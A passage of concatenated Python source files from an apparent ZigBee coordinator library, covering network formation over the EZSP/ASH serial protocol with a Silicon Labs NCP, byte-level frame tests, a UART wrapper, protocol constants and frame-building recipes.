async def _wait_for_stack_status(self, status):
from constants import STACK_STATUS_CHANGE_TIMEOUT as timeout
for seconds in range(timeout):
if self._stack_status == status:
return
await asyncio.sleep(1)
raise TimeoutError
async def network_connect(
self,
panid=None,
epanid=None,
channel=None,
join_method=e.EmberJoinMethod.EMBER_USE_MAC_ASSOCIATION):
"""Connects to a ZigBee network with the given parameters"""
# Rejoin the network
try:
await self.api.network_init()
parameters = await self._check_network_parameters(
panid,
epanid,
channel)
if parameters:
LOGGER.info(f"Rejoined on {parameters.panid:X} "
+ f"as coordinator "
+ f"({parameters.epanid:X}/{parameters.channel})")
self.network_address = (await self.api.get_node_id())['nodeId']
self.mac_address = (await self.api.get_eui64())['eui64']
return
else:
await self.api.leave_network()
LOGGER.debug("Waiting for deconnection...")
await self._wait_for_stack_status('EMBER_NETWORK_DOWN')
except UnexpectedStatusException as status:
if str(status) == 'EMBER_NOT_JOINED':
LOGGER.info("No network to rejoin.")
else:
raise status
# No proper network to rejoin, creating one
if not panid:
from constants import PAN_ID_BIT_SIZE
panid = getrandbits(PAN_ID_BIT_SIZE)
if not epanid:
from constants import EPAN_ID_BIT_SIZE
epanid = getrandbits(EPAN_ID_BIT_SIZE)
if not channel:
from constants import DEFAULT_RADIO_CHANNEL
channel = DEFAULT_RADIO_CHANNEL
bitmask = 'EMBER_TRUST_CENTER_GLOBAL_LINK_KEY'
bitmask += '|EMBER_HAVE_NETWORK_KEY'
bitmask += '|EMBER_HAVE_PRECONFIGURED_KEY'
bitmask += '|EMBER_REQUIRE_ENCRYPTED_KEY'
from constants import PRECONFIGURED_NETWORK_KEY
preconfigured = PRECONFIGURED_NETWORK_KEY
from constants import NETWORK_KEY_BIT_SIZE
network_key = getrandbits(NETWORK_KEY_BIT_SIZE) # TODO: maybe 0??
await self.api.set_initial_security_state({
"bitmask": bitmask,
"preconfiguredKey": preconfigured,
"networkKey": network_key,
"networkKeySequenceNumber": 0,
"preconfiguredTrustCenterEui64": 0})
await self.api.form_network({
'extendedPanId': epanid,
'panId': panid,
'radioTxPower': 0,
'radioChannel': channel,
'joinMethod': join_method,
'nwkManagerId': 0,
'nwkUpdateId': 0,
'channels': 134215680})
LOGGER.debug("Waiting for connection...")
await self._wait_for_stack_status('EMBER_NETWORK_UP')
self.network_address = (await self.api.get_node_id())['nodeId']
self.mac_address = (await self.api.get_eui64())['eui64']
LOGGER.info(f"Created {panid:X} ({epanid:X}/{channel})")
async def ncp_configure(self):
"""Configures the NCP"""
# try:
# await self.api.set_value(
# e.EzspValueId.EZSP_VALUE_STACK_TOKEN_WRITING,
# 1)
# except UnexpectedStatusException:
# pass
# token = e.EzspValueId.EZSP_VALUE_STACK_TOKEN_WRITING
# LOGGER.info(await self.api.get_value(token))
for policy_id, policy_value in self.configuration['policy'].items():
await self.api.set_policy(policy_id, policy_value)
async def network_scan(self, channels=ALL_CHANNEL_MASK):
"""Scan for available devices"""
await self.api.start_scan('EZSP_ACTIVE_SCAN', ALL_CHANNEL_MASK, 5)
async def permit_joining(self, duration=ENABLE_JOINING):
await self.api.permit_joining(duration)
async def process(self):
"""Background process"""
await self.api.process(self._is_ready_future)
async def print_current_config(self):
"""Prints the value of valid config fields"""
for _, config in e.EzspConfigId.decmapping.items():
value = await self.api.get_configuration_value(config)
LOGGER.info(f"{config} == {value}")
def cb_stack_status(self, args):
LOGGER.info(f"Stack status: {self._stack_status} → {args['status']}")
self._stack_status = args['status']
def cb_joining(self, args):
LOGGER.info("Joining: ")
for entry in print_dic(args):
LOGGER.info(entry)
def cb_incoming_message(self, args):
LOGGER.info("Incoming: ")
for entry in print_dic(args):
LOGGER.info(entry)
cinder = Cinder()
async def main_process():
await cinder.is_ready()
# await self.print_current_config()
await cinder.network_connect(panid=0xBABF)
msg = f"Connected as 0x{cinder.network_address:02X}"
msg += f" (0x{cinder.mac_address:08X})"
LOGGER.info(msg)
await cinder.ncp_configure()
# await cinder.network_scan()
await cinder.permit_joining()
if __name__ == "__main__":
loop = asyncio.get_event_loop()
coro = asyncio.gather(
cinder.process(),
main_process(),
)
try:
loop.run_until_complete(coro)
except IOError as e:
LOGGER.error(f"Connexion lost: {str(e)}")
except OSError:
LOGGER.error("Failed to connect to the NCP")
# except Exception as e:
# LOGGER.error("Exiting {}".format(e))
# try:
# loop.stop()
# loop.close()
# except RuntimeError:
# LOGGER.error("Forcing tasks to shutdown")
LOGGER.info("Done")
<file_sep>/tests/test_ash.py
import pytest
import asyncio
from emberznetpy import ash as a
# logging.basicConfig(level=logging.DEBUG)
@pytest.fixture
def device_path():
return '/dev/ttyUSB0'
def test_sanitize_cancel_with_clean_data():
_in = bytearray(b'\x7E\xee\xdd\xcc\xbb\x7E')
_out = _in
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_no_flag():
_in = bytearray(b'\x00\x1A\x01')
_out = bytearray(b'\x01')
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_start_no_flag():
_in = b'\x1A\x11'
_out = b'\x11'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_start_with_flag():
_in = b'\x1A\x11\x7E'
_out = b'\x11\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_mid_no_flag():
_in = b'\xFF\x1A\x11'
_out = b'\x11'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_mid_with_flag_after():
_in = b'\xFF\x1A\x11\x7E'
_out = b'\x11\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_mid_with_flag_before():
_in = b'\x7E\xFF\x1A\x11'
_out = b'\x7E\x11'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_end_without_flag():
_in = b'\xFF\x1A'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_end_with_flag_before():
_in = b'\x7E\xFF\x1A'
_out = b'\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_at_end_with_flag_after():
_in = b'\x1A\x7E'
_out = b'\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_only_flag_cancel():
_in = b'\x7E\x1A'
_out = b'\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_cancel_only_flag():
_in = b'\x1A\x1A\x1A'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_with_clean_data():
_in = b'\x7E\xee\xdd\xcc\xbb\x7E'
_out = _in
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_no_flag():
_in = b'\x00\x18\x01'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_start_no_flag():
_in = b'\x18\x11'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_start_with_flag():
_in = b'\x18\x11\x7E'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_mid_no_flag():
_in = b'\xFF\x18\x11'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_mid_with_flag_after():
_in = b'\x11\x18\x22\x18'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_mid_with_flag_before():
_in = b'\x7E\xFF\x18\x11'
_out = b'\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_end_without_flag():
_in = b'\xFF\x18'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_end_with_flag_before():
_in = b'\x7E\xFF\x18'
_out = b'\x7E'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_at_end_with_flag_after():
_in = b'\x18\x7E'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_only_flag():
_in = b'\x18\x18\x18'
_out = b''
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_between_flag():
_in = b'\x11\x7E\x22\x18\x7E\x33'
_out = b'\x11\x7E\x33'
assert(a.AshFrame._sanitize(_in) == _out)
def test_sanitize_sub_and_cancel():
_in = b'\x7E\x00\x1A\x18\x7E\x22'
_out = b'\x7E\x22'
assert(a.AshFrame._sanitize(_in) == _out)
def test_parse_frame_empty():
_in = bytearray(b'')
with pytest.raises(a.AshIgnoreException):
a.AshFrame.parse(_in)
def test_parse_frame_data():
_in = bytearray(b'\x26\x00\x01\x02\x87d\x7E')
_out = {
'type': 'data',
'frmNum': 2,
'reTx': 0,
'ackNum': 6,
'data': bytearray(b'\x00\x01\x02')
}
assert(a.AshFrame.parse(_in, randomized=False) == _out)
def test_parse_frame_ack():
_in = bytearray(b'\x87\x00\x9F\x7E')
_out = {'type': 'ack', 'nRdy': 0, 'ackNum': 7}
assert(a.AshFrame.parse(_in) == _out)
def test_parse_frame_nak():
_in = bytearray(b'\xA7$\xFD\x7E')
_out = {'type': 'nak', 'nRdy': 0, 'ackNum': 7}
assert(a.AshFrame.parse(_in) == _out)
def test_parse_frame_rstack():
_in = bytearray(b'\xC1\x02\x0B\nR\x7E')
_out = {'type': 'rstack', 'version': 2, 'reason': 'Software'}
assert(a.AshFrame.parse(_in) == _out)
def test_parse_frame_error():
_in = bytearray(b'\xC2\x00\x01\x94*\x7E')
_out = {'type': 'error', 'error': 1}
assert(a.AshFrame.parse(_in) == _out)
def test_parse_frame_data_wrong_crc():
_in = bytearray(b'\x26\x00\x01\x02\x00\x00\x7E')
with pytest.raises(a.AshRejectException):
a.AshFrame.parse(_in)
def test_parse_frame_wrong_ctrl():
_in = bytearray(b'\xFF\x00\x01\x02\x00\x00\x7E')
with pytest.raises(a.AshRejectException):
a.AshFrame.parse(_in)
def test_parse_frame_error_wrong_size():
_in = bytearray(b'\xC2\xD9L\x7E')
with pytest.raises(a.AshRejectException):
a.AshFrame.parse(_in)
def test_parse_frame_rstack_wrong_size():
_in = bytearray(b'\xC1\xC9m\x7E')
with pytest.raises(a.AshRejectException):
a.AshFrame.parse(_in)
def test_flip_empty():
_in = bytearray()
_out = _in
assert(a.AshFrame._flip(_in) == _out)
def test_flip_nostuff():
_in = bytearray(b'\x01\x02\x03')
_out = _in
assert(a.AshFrame._flip(_in) == _out)
def test_flip_withstuff():
_in = bytearray(b'\x7E\x11\x13\x18\x1A\x7D\x00')
_out = bytearray(b'\x7D\x5E\x7D\x31\x7D\x33\x7D\x38\x7D\x3A\x7D\x5D\x00')
assert(a.AshFrame._flip(_in) == _out)
def test_unflip_empty():
_in = bytearray()
_out = _in
assert(a.AshFrame._unflip(_in) == _out)
def test_unflip_nostuff():
_in = bytearray(b'\x01\x02\x03')
_out = _in
assert(a.AshFrame._unflip(_in) == _out)
def test_unflip_withstuff():
_in = bytearray(b'\x7D\x5E\x7D\x31\x7D\x33\x7D\x38\x7D\x3A\x7D\x5D\x00')
_out = bytearray(b'\x7E\x11\x13\x18\x1A\x7D\x00')
assert(a.AshFrame._unflip(_in) == _out)
def test_build_wrong_type():
_out = a.AshFrame.build(
type = 'foo',
frmNum = 1,
reTx = 0,
ackNum = 2,
data = bytearray(b'\x00\x11')
)
assert(_out == bytearray())
def test_build_data_payload_too_small():
_out = a.AshFrame.build(
type = 'data',
frmNum = 1,
reTx = 0,
ackNum = 2,
data = bytearray(b'\x00\x11')
)
assert(_out == bytearray())
def test_build_data_payload_too_big():
_out = a.AshFrame.build(
type = 'data',
frmNum = 1,
reTx = 0,
ackNum = 2,
data = bytearray(500)
)
assert(_out == bytearray())
def test_build_data_small_payload():
_out = a.AshFrame.build(
randomize = False,
type = 'data',
frmNum = 2,
reTx = 0,
ackNum = 6,
data = bytearray(b'\x00\x01\x02\x03\x04')
)
_expected = bytearray(b'\x26\x00\x01\x02\x03\x04\xBB\xFA\x7E')
assert(_expected == _out)
def test_build_data_big_payload():
_out = a.AshFrame.build(
randomize = False,
type = 'data',
frmNum = 2,
reTx = 1,
ackNum = 6,
data = bytearray(100)
)
_expected = bytearray(b'\x2E') + bytearray(100) + bytearray(b'K"\x7E')
assert(_expected == _out)
def test_build_ack():
_out = a.AshFrame.build(
type = 'ack',
ackNum = 4,
nRdy = 1
)
_expected = bytearray(b'\x8C\xB1\xF4\x7E')
assert(_expected == _out)
def test_build_nak():
_out = a.AshFrame.build(
type = 'nak',
ackNum = 4,
nRdy = 1
)
_expected = bytearray(b'\xAC\x95\x96\x7E')
assert(_expected == _out)
def test_build_reset():
_out = a.AshFrame.build(
type = 'rst'
)
_expected = bytearray(b'\xC08\xBC\x7E')
assert(_expected == _out)
def test_randomize():
_in = b'\x00\x00\x00\x02'
_out = b'\x42\x21\xA8\x56'
assert(a.AshFrame._randomize(_in) == _out)
<file_sep>/src/cinder/async_uart.py
"""
A class for serial (UART) asynchronous communication
"""
import logging
import asyncio
import serial_asyncio
import serial
LOGGER = logging.getLogger(__name__)
# _reader.feed_data(data) for debug
class AsyncUart():
"""A class for serial (UART) asynchronous communication
Mostly a wrapper for StreamReader and StreamWriter
"""
_CONNECTION_TIMEOUT = 5
_reader = None
_writer = None
def __init__(self, port, baudrate, xonxoff=False, rtscts=True):
self._port = port
self._baudrate = baudrate
if xonxoff and rtscts:
raise ValueError
self._xonxoff = xonxoff
self._rtscts = rtscts
async def connect(self):
"""Task to connect to a serial port asynchronously with the parameters
given in the constructor.
Returns True of the connection has succeeded, False otherwise.
"""
coro = serial_asyncio.open_serial_connection(
url=self._port,
baudrate=self._baudrate,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
xonxoff=self._xonxoff,
rtscts=self._rtscts)
try:
self._reader, self._writer = await asyncio.wait_for(
coro,
self._CONNECTION_TIMEOUT)
LOGGER.info(f"{self._port} is opened at {self._baudrate}")
except (asyncio.TimeoutError, ConnectionRefusedError):
LOGGER.error(f"Couldn't open {self._port}")
raise OSError
except OSError:
LOGGER.error(f"{self._port} doesn't exist!")
raise OSError
async def readuntil(self, separator):
""""Tasks that asynchronously return a bytearray of data read up to and
including the separator"""
if isinstance(separator, int):
separator = bytes([separator])
# return bytearray(await self._reader.readuntil(separator))
data = await self._reader.readuntil(separator)
LOGGER.debug(data)
return bytearray(data)
async def write(self, data):
"""Tasks that asynchronous write data to the serial bus given in the
constructor"""
self._writer.write(data)
await self._writer.drain()
<file_sep>/src/cinder/ezsp.py
"""
Module implementing the EmberZNet API through the ezsp protocol and an NCP
running the EmberZNet stack
"""
import logging
import asyncio
import construct as c
import ash
from ezsp_frames import _EZSP_BUILD, _EZSP_PARSE, _EZSP_CALLBACKS
LOGGER = logging.getLogger(__name__)
PROTOCOL_VERSION = 6
STACK_TYPE = 2
class EzspParsingError(Exception):
"""Raised when the buffer coudn't be properly parsed"""
class _EzspCommand():
"""Representation of a ezsp frame"""
_NETWORK_INDEX_DEFAULT = 0
_SLEEP_MODE_DEFAULT = 0
_SECURITY_ENABLED_DEFAULT = 0
_SEQUENCE_MAX = 256
_sequence = 0
_pendings = {}
callbacks = asyncio.Queue()
def __init__(self, spec=None, raw=None):
if not spec or not raw:
LOGGER.error(f"The constructor shouldn't be called directly."
+ f"Use either handle_incoming or handle_outgoing.")
raise TypeError
self.spec = spec
self.raw = raw
# self.answer = answer
def __del__(self):
if self.spec['isPending']:
del _EzspCommand._pendings[self.spec['sequence']]
def answer(self):
"""Returns the future representing the answer of the command"""
return _EzspCommand._pendings[self.spec['sequence']]
@classmethod
def handle_outgoing(cls, spec):
"""From a dictionnary specification of a frame, returns a bytearray of
raw values"""
spec['sequence'] = cls._sequence
# answer = asyncio.Future()
cls._pendings[cls._sequence] = asyncio.Future()
cls._sequence = (cls._sequence + 1) % cls._SEQUENCE_MAX
raw = cls._build(spec)
spec['isPending'] = True
return cls(spec=spec, raw=raw)
@classmethod
def handle_incoming(cls, raw):
"""From a raw frame, parses it and returns a corresponding dictionnary
specification"""
spec = cls._parse(raw)
spec['isPending'] = False
return cls(spec=spec, raw=raw)
@classmethod
def _build(cls, spec):
"""Build a frame with the specification given in argument"""
LOGGER.debug(f"Building: {spec}")
build = bytearray()
control = 0
build.append(spec['sequence'])
try:
control |= (spec['networkIndex'] & 0x03) << 6
except KeyError:
control |= cls._NETWORK_INDEX_DEFAULT << 6
try:
control |= spec['sleepMode'] & 0x03
except KeyError:
control |= cls._SLEEP_MODE_DEFAULT & 0x03
build.append(control)
build.append(0xFF)
try:
lcontrol = (spec['securityEnabled'] & 0x01) << 7
except KeyError:
lcontrol = (cls._SECURITY_ENABLED_DEFAULT & 0x01) << 7
build.append(lcontrol)
try:
frame_id = _EZSP_BUILD[spec['name']]['frameId']
build.append(frame_id)
except KeyError:
LOGGER.error(f"Unsupported frame: {spec['name']}")
return bytearray()
params = _EZSP_BUILD[spec['name']]['params']
if params:
build.extend(params.build(spec['params']))
LOGGER.debug(f"→ {spec}")
return build
@classmethod
def dispatch(cls, frame):
"""Associates response to the corresponding command in _pending"""
response = frame.spec
if response['is_callback']:
cls.callbacks.put_nowait(response)
else:
cls._pendings[response['sequence']].set_result(response)
@classmethod
def _parse_frameId(cls, frameId):
"""Parse the frameId number"""
try: # Regular command response
entry = _EZSP_PARSE[frameId]
return entry, False
except KeyError:
pass
try:
entry = _EZSP_CALLBACKS[frameId]
LOGGER.debug(f"Received callback: "
+ f"{_EZSP_CALLBACKS[frameId]['name']}")
return entry, True
except KeyError:
LOGGER.error(f"Unsupported frameId: 0x{frameId:02X}")
raise ValueError
@classmethod
def _parse(cls, frame):
"""Callback when there is data received from the lower layer"""
result = {}
index = 0
# frame = bytearray(frame)
try:
result['sequence'] = frame[index]
index += 1
result['networkIndex'] = (frame[index] & 0x60) >> 6
result['callbackType'] = (frame[index] & 0x30) >> 4
result['callbackPending'] = (frame[index] & 0x04) >> 2
result['truncated'] = (frame[index] & 0x02) >> 1
result['overflow'] = (frame[index] & 0x01)
index += 1
if frame[index] == 0xFF:
index += 1
result['securityEnabled'] = (frame[index] & 0x80) >> 7
index += 1
result['frameId'] = frame[index]
index += 1
try:
entry, is_callback = cls._parse_frameId(result['frameId'])
except ValueError:
return {}
result['is_callback'] = is_callback
result['name'] = entry['name']
pattern = entry['return']
if pattern:
result['return'] = pattern.parse(frame[index:])
else:
result['return'] = None
except IndexError:
LOGGER.error(f"Frame parsing has failed. Unexpected size")
LOGGER.error(f"Got {result}")
raise EzspParsingError
except c.ConstructError:
LOGGER.error(f"Couldn't parse: {frame[index:].hex()}")
LOGGER.error(f"Got {result}")
raise EzspParsingError
return result
class Ezsp():
"""Representation of the internal logic on the ezsp protocol"""
def __init__(self, port, baudrate, xonxoff=False, rtscts=True, api=None):
self._ash = ash.Ash(port, baudrate, xonxoff, rtscts)
self._is_ready = False
if not api:
LOGGER.error(f"Ezsp needs the version command of the API to"
+ f"start up correctly!")
raise ValueError
else:
self._api = api
def send_reset(self, method=None):
"""Sends a resets to the NCP. By the default, the host sends a RESET
frame. Other methods may be available later on"""
async def callbacks(self):
"""Returns callbacks frame as they come"""
return await _EzspCommand.callbacks.get()
async def process(self, init_future):
"""Main task of the layer"""
# Notify, through init_ready, that the ASH layer is done initializing
ash_init_future = asyncio.Future()
def cb_notify_readiness(future):
if future.result():
init_future.set_result(True)
ash_init_future.add_done_callback(cb_notify_readiness)
try:
await asyncio.gather(
self._ash.process(ash_init_future),
self._reading_process(ash_init_future))
except OSError:
raise OSError
async def send_command(self, name, *args):
"""Sends a ezsp command through the lower layers, wait for the NCP to
respond and returns the resulting answer"""
frame = _EzspCommand.handle_outgoing({'name': name, 'params': args})
result = await self._ash.write(frame.raw)
if not result:
# TX buffer is full
pass
# wait for answer to command
await frame.answer()
result = frame.answer().result()
# if frame.spec['frameId'] == result['frameId']:
# return result['return']
# elif result['frameId'] in _EZSP_CALLBACKS:
# # dispatch to callbacks
# else:
# # unexpected
if result['name'] == 'invalidCommand':
# error_code = result['return']['reason']
LOGGER.error(f"Error while sending {name}: ")
return None
return result['return']
async def _reading_process(self, ash_init_future):
"""Reading tasks for the ezsp layer class.
Wait for the ASH layer to have data to give, parse it and dispatch it.
"""
# Wait for ASH to finish initializing
await ash_init_future
# Wait for incoming frames, parse them, dispatch them
while True:
raw = await self._ash.read()
frame = _EzspCommand.handle_incoming(raw)
_EzspCommand.dispatch(frame)
LOGGER.debug(f"← {frame.spec}")
<file_sep>/src/cinder/constants.py
EXTENDED_PAN_ID_SIZE = 8
EMBER_ENCRYPTION_KEY_SIZE = 16
EMBER_CERTIFICATE_SIZE = 48
EMBER_PUBLIC_KEY_SIZE = 22
EMBER_PRIVATE_KEY_SIZE = 21
EMBER_SMAC_SIZE = 16
EMBER_SIGNATURE_SIZE = 42
EMBER_AES_HASH_BLOCK_SIZE = 16
EMBER_CERTIFICATE_283K1_SIZE = 74
EMBER_PUBLIC_KEY_283K1_SIZE = 37
EMBER_PRIVATE_KEY_283K1_SIZE = 36
EMBER_SIGNATURE_283K1_SIZE = 72
EMBER_ENCRYPTION_KEY_SIZE = 16
EMBER_CERTIFICATE_SIZE = 48
EMBER_PUBLIC_KEY_SIZE = 22
EMBER_PRIVATE_KEY_SIZE = 21
EMBER_SMAC_SIZE = 16
EMBER_SIGNATURE_SIZE = 42
EMBER_AES_HASH_BLOCK_SIZE = 16
EMBER_CERTIFICATE_283K1_SIZE = 74
EMBER_PUBLIC_KEY_283K1_SIZE = 37
EMBER_PRIVATE_KEY_283K1_SIZE = 36
EMBER_SIGNATURE_283K1_SIZE = 72
EMBER_MAX_802_15_4_CHANNEL_NUMBER = 26
EMBER_MIN_802_15_4_CHANNEL_NUMBER = 11
EMBER_MIN_SUBGHZ_CHANNEL_NUMBER = 0
EMBER_ACTIVE_SCAN_DURATION = 3
EMBER_SUB_GHZ_SCAN_DURATION = 5
EMBER_ZIGBEE_COORDINATOR_ADDRESS = 0x0000
EMBER_NULL_NODE_ID = 0xFFFF
EMBER_NULL_EUI64 = 0xFFFFFFFFFFFFFFFF
EMBER_NULL_BINDING = 0xFF
EMBER_TABLE_ENTRY_UNUSED_NODE_ID = 0xFFFF
EMBER_MULTICAST_NODE_ID = 0xFFFE
EMBER_UNKNOWN_NODE_ID = 0xFFFD
EMBER_DISCOVERY_ACTIVE_NODE_ID = 0xFFFC
EMBER_NULL_ADDRESS_TABLE_INDEX = 0xFF
EMBER_ZDO_ENDPOINT = 0
EMBER_BROADCAST_ENDPOINT = 0xFF
EMBER_ZDO_PROFILE_ID = 0x0000
EMBER_WILDCARD_PROFILE_ID = 0xFFFF
EMBER_MAXIMUM_STANDARD_PROFILE_ID = 0x7FFF
EMBER_MANUFACTURER_ID = 0x1002
EMBER_DC_LIMIT_USE_DEFAULT = 0
EMBER_BROADCAST_ADDRESS = 0xFFFC
EMBER_RX_ON_WHEN_IDLE_BROADCAST_ADDRESS = 0xFFFD
EMBER_SLEEPY_BROADCAST_ADDRESS = 0xFFFF
EMBER_MIN_BROADCAST_ADDRESS = 0xFFF8
EMBER_LOW_RAM_CONCENTRATOR = 0xFFF8
EMBER_HIGH_RAM_CONCENTRATOR = 0xFFF9
EMBER_PRIVATE_PROFILE_ID = 0xC00E
EMBER_PRIVATE_PROFILE_ID_START = 0xC00D
EMBER_PRIVATE_PROFILE_ID_END = 0xC016
EMBER_REPORT_COUNTERS_REQUEST = 0x0003
EMBER_REPORT_COUNTERS_RESPONSE = 0x8003
EMBER_REPORT_AND_CLEAR_COUNTERS_REQUEST = 0x0004
EMBER_REPORT_AND_CLEAR_COUNTERS_RESPONSE = 0x8004
EMBER_OTA_CERTIFICATE_UPGRADE_CLUSTER = 0x0005
EMBER_STANDARD_SECURITY_MODE = 0x0000
EMBER_TRUST_CENTER_NODE_ID = 0x0000
EMBER_MFG_SECURITY_CONFIG_MAGIC_NUMBER = 0xCABAD11F
NETWORK_ADDRESS_REQUEST = 0x0000
NETWORK_ADDRESS_RESPONSE = 0x8000
IEEE_ADDRESS_REQUEST = 0x0001
IEEE_ADDRESS_RESPONSE = 0x8001
NODE_DESCRIPTOR_REQUEST = 0x0002
NODE_DESCRIPTOR_RESPONSE = 0x8002
POWER_DESCRIPTOR_REQUEST = 0x0003
POWER_DESCRIPTOR_RESPONSE = 0x8003
SIMPLE_DESCRIPTOR_REQUEST = 0x0004
SIMPLE_DESCRIPTOR_RESPONSE = 0x8004
ACTIVE_ENDPOINTS_REQUEST = 0x0005
ACTIVE_ENDPOINTS_RESPONSE = 0x8005
MATCH_DESCRIPTORS_REQUEST = 0x0006
MATCH_DESCRIPTORS_RESPONSE = 0x8006
DISCOVERY_CACHE_REQUEST = 0x0012
DISCOVERY_CACHE_RESPONSE = 0x8012
END_DEVICE_ANNOUNCE = 0x0013
END_DEVICE_ANNOUNCE_RESPONSE = 0x8013
SYSTEM_SERVER_DISCOVERY_REQUEST = 0x0015
SYSTEM_SERVER_DISCOVERY_RESPONSE = 0x8015
PARENT_ANNOUNCE = 0x001F
PARENT_ANNOUNCE_RESPONSE = 0x801F
FIND_NODE_CACHE_REQUEST = 0x001C
FIND_NODE_CACHE_RESPONSE = 0x801C
END_DEVICE_BIND_REQUEST = 0x0020
END_DEVICE_BIND_RESPONSE = 0x8020
UNICAST_BINDING = 0x03
UNICAST_MANY_TO_ONE_BINDING = 0x83
MULTICAST_BINDING = 0x01
BIND_REQUEST = 0x0021
BIND_RESPONSE = 0x8021
UNBIND_REQUEST = 0x0022
UNBIND_RESPONSE = 0x8022
LQI_TABLE_REQUEST = 0x0031
LQI_TABLE_RESPONSE = 0x8031
ROUTING_TABLE_REQUEST = 0x0032
ROUTING_TABLE_RESPONSE = 0x8032
BINDING_TABLE_REQUEST = 0x0033
BINDING_TABLE_RESPONSE = 0x8033
LEAVE_REQUEST = 0x0034
LEAVE_RESPONSE = 0x8034
LEAVE_REQUEST_REMOVE_CHILDREN_FLAG = 0x40
LEAVE_REQUEST_REJOIN_FLAG = 0x80
PERMIT_JOINING_REQUEST = 0x0036
PERMIT_JOINING_RESPONSE = 0x8036
NWK_UPDATE_REQUEST = 0x0038
NWK_UPDATE_RESPONSE = 0x8038
NWK_UPDATE_ENHANCED_REQUEST = 0x0039
NWK_UPDATE_ENHANCED_RESPONSE = 0x8039
NWK_UPDATE_IEEE_JOINING_LIST_REQUEST = 0x003A
NWK_UPDATE_IEEE_JOINING_LIST_REPONSE = 0x803A
NWK_UNSOLICITED_ENHANCED_UPDATE_NOTIFY = 0x803B
COMPLEX_DESCRIPTOR_REQUEST = 0x0010
COMPLEX_DESCRIPTOR_RESPONSE = 0x8010
USER_DESCRIPTOR_REQUEST = 0x0011
USER_DESCRIPTOR_RESPONSE = 0x8011
DISCOVERY_REGISTER_REQUEST = 0x0012
DISCOVERY_REGISTER_RESPONSE = 0x8012
USER_DESCRIPTOR_SET = 0x0014
USER_DESCRIPTOR_CONFIRM = 0x8014
NETWORK_DISCOVERY_REQUEST = 0x0030
NETWORK_DISCOVERY_RESPONSE = 0x8030
DIRECT_JOIN_REQUEST = 0x0035
DIRECT_JOIN_RESPONSE = 0x8035
CLUSTER_ID_RESPONSE_MINIMUM = 0x8000
EMBER_MAX_MAC_ONLY_COUNTERS = 33
EMBER_MAX_NUM_PHYS = 2
PHY_INDEX_NATIVE = 0
PHY_INDEX_PRO2PLUS = 1
CONFIGURATION_FILE = './configuration.yaml'
DEFAULT_NETWORK_INIT_OPTION = 'EMBER_NETWORK_INIT_NO_OPTIONS'
DEFAULT_RADIO_CHANNEL = 25
PAN_ID_BIT_SIZE = 16
EPAN_ID_BIT_SIZE = 64
NETWORK_KEY_BIT_SIZE = 128
PRECONFIGURED_NETWORK_KEY = b'ZigBeeAlliance09'
STACK_STATUS_CHANGE_TIMEOUT = 5
ALL_CHANNEL_MASK = 0x07FFF800
CURRENT_CHANNEL_MASK = 0
DISABLE_JOINING = 0x00
ENABLE_JOINING = 0xFF
<file_sep>/src/cinder/ezsp_frames.py
# pylint: disable=too-many-lines
"""
Building and parsing recipes for ezsp frame
"""
import construct as c
import ezsp_types as e
_EZSP_BUILD = {
'version': {
'frameId': 0x00,
'params': c.Sequence(
"desiredProtocolVersion" / c.Int8ul
)
},
'get_configuration_value': {
'frameId': 0x52,
'params': c.Sequence(
"configId" / e.EzspConfigId
)
},
'set_configuration_value': {
'frameId': 0x53,
'params': c.Sequence(
"configId" / e.EzspConfigId,
"value" / c.Int16ul
)
},
'add_endpoint': {
'frameId': 0x02,
'params': c.Sequence(
"endpoint" / c.Int8ul,
"profileId" / c.Int16ul,
"deviceId" / c.Int16ul,
"appFlags" / c.Int8ul,
"inputClusterCount" / c.Int8ul,
"outputClusterCount" / c.Int8ul,
"inputClusterList" / c.Array(c.this.inputClusterCount, c.Int16ul),
"outputClusterList" / c.Array(c.this.outputClusterCount, c.Int16ul)
)
},
'set_policy': {
'frameId': 0x55,
'params': c.Sequence(
"policyId" / e.EzspPolicyId,
"decisionId" / e.EzspDecisionId
)
},
'get_policy': {
'frameId': 0x56,
'params': c.Sequence(
"policyId" / e.EzspPolicyId
)
},
'get_value': {
'frameId': 0xAA,
'params': c.Sequence(
"valueId" / e.EzspValueId
)
},
'get_extended_value': {
'frameId': 0x03,
'params': c.Sequence(
"valueId" / e.EzspExtendedValueId,
"characteristics" / c.Int32ul
)
},
'set_value': {
'frameId': 0xAB,
'params': c.Sequence(
"valueId" / e.EzspValueId,
"valueLength" / c.Int8ul,
"value" / c.Bytes(c.this.valueLength)
)
},
'set_gpio_current_configuration': {
'frameId': 0xAC,
'params': c.Sequence(
"portPin" / c.Int8ul,
"cfg" / c.Int8ul,
"out" / c.Int8ul
)
},
'set_gpio_power_up_down_configuration': {
'frameId': 0xAD,
'params': c.Sequence(
"portPin" / c.Int8ul,
"puCfg" / c.Int8ul,
"puOut" / c.Int8ul,
"pdCfg" / c.Int8ul,
